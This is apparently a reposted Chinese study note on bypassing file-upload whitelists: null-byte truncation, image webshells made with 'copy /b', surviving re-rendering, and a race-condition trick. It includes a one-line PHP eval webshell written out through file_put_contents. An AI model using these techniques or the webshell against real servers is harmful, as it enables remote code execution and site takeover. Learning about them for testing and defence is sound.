文件上傳漏洞筆記(二)——白名單繞過


上面講過了黑名單繞過,白名單就是只允許規定的文件后綴能上傳,所以要比黑名單安全

 

一、%00繞過(.php終止符.jpg)

原理:白名單過濾肯定是從后往前讀取后綴,所以讀取到.jpg在白名單里就放通了。

     但是在調用文件的時候讀取文件名是從前往后讀,所以看到.php后面的終止符的時候就停止讀取了,最終讀取的文件名的后綴就是.php

這個%00是什么意思呢?看到有%,那么首先就應該想到的是URL編碼。然而%00只針對GET傳參,所以POST傳參不能識別URL編碼

原理就是:一般上傳的文件不是直接就送到服務器上的,而是先放到臨時目錄里,然后再重命名(經常我們看到的網頁上的圖片都是一串數字,那就是重命名之后的),最后再發往服務器

我們可以看到,最后重命名之后的文件的存儲路徑是用的GET傳參

 

這個就是上傳包

這個時候就用%00截斷

來看上傳之后的圖片地址:雖然最后有數字.jpg但是已經不會執行了

 

 

 

二、0x00截斷

其實就是post傳參的00截斷,因為post傳參不走URL欄,所以就不用%00

 

在這里我們先這樣修改,然后再進入hex界面

將a對應的十六進制值修改為00就可以了

 

 

 

三、圖片馬繞過

利用cmd命令:copy 123.jpg/b + aaa.php 666.jpg 可以將aaa.php中的一句話木馬寫入123.jpg,生成一張長得一模一樣的圖片666.jpg,再配合解析漏洞就可以拿到shell

 

 

四、二次渲染

二次渲染就是會改變圖片的一部分十六進制數值,所以圖片馬中的馬最好寫在第三四排,並且最好用.gif

 

 

 

五、條件競爭繞過(針對先上傳再檢測的web網站)

簡述一下理想模型:上傳一個1.php的文件,1.php文件里的內容是生成2.php(木馬)的語句,在網站刪除1.php之前,訪問到它,然后就生成了2.php,隨后1.php被刪除了,但是2.php還存在,因為2.php不是通過上傳來的,所以可以繞過檢測機制。

夢想照進現實,我們需要抓一個上傳包,和一個訪問包,然后用BP瘋狂的跑就行了

需要用到語句:file_put_contents('2.php','<?php eval($_REQUEST[8])?>');

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM